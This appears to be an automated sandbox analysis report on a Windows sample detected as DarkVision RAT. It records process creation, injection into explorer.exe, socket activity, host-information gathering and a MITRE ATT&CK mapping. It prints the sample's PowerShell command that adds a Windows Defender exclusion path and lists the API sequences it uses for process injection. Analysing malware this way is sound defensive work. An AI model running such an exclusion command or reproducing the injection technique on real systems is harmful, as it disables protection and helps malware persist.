Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002CA1B0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,

5_2_002CA1B0

Maps a DLL or memory area into another process

Source: C:\ProgramData\windows\windows.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002C4410 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	5_2_002C4410
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002C44E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	5_2_002C44E0
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009244E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	9_2_009244E0
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00924410 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	9_2_00924410
Source: C:\Windows\explorer.exe	Code function: 15_2_02E542E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	15_2_02E542E0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E543D0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	15_2_02E543D0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_009244E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	21_2_009244E0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00924410 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	21_2_00924410

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002CC1F0 setsockopt,SetEvent,LocalAlloc,wnsprintfW,LocalAlloc,LocalAlloc,CoInitializeEx,ShellExecuteExW,GetLastError,CoUninitialize,LocalAlloc,wnsprintfW,CreateProcessW,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,shutdown,closesocket,

5_2_002CC1F0

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start "" "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\windows\windows.exe "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002D0400 AllocateAndInitializeSid,_memset,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,LocalFree,

5_2_002D0400

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002DC3A0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

5_2_002DC3A0

Source: C:\Windows\SysWOW64\brightness.exe	Code function: WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,setsockopt,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,___crtGetLocaleInfoEx,shutdown,closesocket,shutdown,closesocket,ExitProcess,	5_2_002E1030
Source: C:\Windows\SysWOW64\brightness.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	5_2_002D70F2
Source: C:\Windows\SysWOW64\brightness.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	5_2_002D70D9
Source: C:\Windows\SysWOW64\brightness.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,___crtGetLocaleInfoEx,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WSAEnumNetworkEvents,	5_2_002E0950
Source: C:\Windows\SysWOW64\brightness.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,	5_2_002DF9E0
Source: C:\Windows\SysWOW64\brightness.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,WSAGetLastError,	5_2_002DFC10
Source: C:\Windows\SysWOW64\brightness.exe	Code function: htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,	5_2_002E04F0
Source: C:\Windows\SysWOW64\brightness.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,___crtGetLocaleInfoEx,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WSAEnumNetworkEvents,	5_2_002E0CD0
Source: C:\Windows\SysWOW64\brightness.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,setsockopt,___crtGetLocaleInfoEx,closesocket,___crtGetLocaleInfoEx,closesocket,	5_2_002D6D30
Source: C:\Windows\SysWOW64\brightness.exe	Code function: htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,	5_2_002E0630
Source: C:\Windows\SysWOW64\brightness.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,WSAGetLastError,	5_2_002DFE10
Source: C:\Windows\SysWOW64\brightness.exe	Code function: ___crtGetLocaleInfoEx,	5_2_002DF690
Source: C:\Windows\SysWOW64\brightness.exe	Code function: ___crtGetLocaleInfoEx,	5_2_002DF730
Source: C:\Windows\SysWOW64\brightness.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,	5_2_002DF7D0
Source: C:\ProgramData\windows\windows.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	9_2_009370D9
Source: C:\ProgramData\windows\windows.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	9_2_009370F2
Source: C:\ProgramData\windows\windows.exe	Code function: WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,setsockopt,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,___crtGetLocaleInfoEx,shutdown,closesocket,shutdown,closesocket,ExitProcess,	9_2_00941030
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,	9_2_0093F9E0
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,___crtGetLocaleInfoEx,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WSAEnumNetworkEvents,	9_2_00940950
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,___crtGetLocaleInfoEx,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WSAEnumNetworkEvents,	9_2_00940CD0
Source: C:\ProgramData\windows\windows.exe	Code function: htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,	9_2_009404F0
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,WSAGetLastError,	9_2_0093FC10
Source: C:\ProgramData\windows\windows.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,setsockopt,___crtGetLocaleInfoEx,closesocket,___crtGetLocaleInfoEx,closesocket,	9_2_00936D30
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,	9_2_0093F690
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,WSAGetLastError,	9_2_0093FE10
Source: C:\ProgramData\windows\windows.exe	Code function: htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,	9_2_00940630
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,	9_2_0093F7D0
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,	9_2_0093F730
Source: C:\ProgramData\windows\windows.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	21_2_009370D9
Source: C:\ProgramData\windows\windows.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	21_2_009370F2
Source: C:\ProgramData\windows\windows.exe	Code function: WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,setsockopt,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,___crtGetLocaleInfoEx,shutdown,closesocket,shutdown,closesocket,ExitProcess,	21_2_00941030
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,	21_2_0093F9E0
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,___crtGetLocaleInfoEx,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WSAEnumNetworkEvents,	21_2_00940950
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,___crtGetLocaleInfoEx,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WSAEnumNetworkEvents,	21_2_00940CD0
Source: C:\ProgramData\windows\windows.exe	Code function: htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,	21_2_009404F0
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,WSAGetLastError,	21_2_0093FC10
Source: C:\ProgramData\windows\windows.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,setsockopt,___crtGetLocaleInfoEx,closesocket,___crtGetLocaleInfoEx,closesocket,	21_2_00936D30
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,	21_2_0093F690
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,WSAGetLastError,	21_2_0093FE10
Source: C:\ProgramData\windows\windows.exe	Code function: htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,	21_2_00940630
Source: C:\ProgramData\windows\windows.exe	Code function: und_memcpy,WSAEventSelect,WSAWaitForMultipleEvents,___crtGetLocaleInfoEx,	21_2_0093F7D0
Source: C:\ProgramData\windows\windows.exe	Code function: ___crtGetLocaleInfoEx,	21_2_0093F730

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002D41E0 __snwprintf,RegCreateKeyExW,RegCloseKey,_memset,GetSystemTime,SystemTimeToFileTime,

5_2_002D41E0

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002E2530 LocalAlloc,LocalFree,LocalFree,_memset,LocalFree,gethostname,gethostbyname,GetUserNameW,GetTickCount64,LocalFree,

5_2_002E2530

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002DC090 RtlGetVersion,

5_2_002DC090

Stealing of Sensitive Information

Yara detected DarkVision Rat

Source: Yara match	File source: 9.2.windows.exe.d3cfb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorer.exe.2e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.windows.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.windows.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.brightness.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: brightness.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: windows.exe PID: 8164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: windows.exe PID: 7992, type: MEMORYSTR

Remote Access Functionality

Yara detected DarkVision Rat

Source: Yara match	File source: 9.2.windows.exe.d3cfb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorer.exe.2e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.windows.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.windows.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.brightness.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: brightness.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: windows.exe PID: 8164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: windows.exe PID: 7992, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	22 Native API	221 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
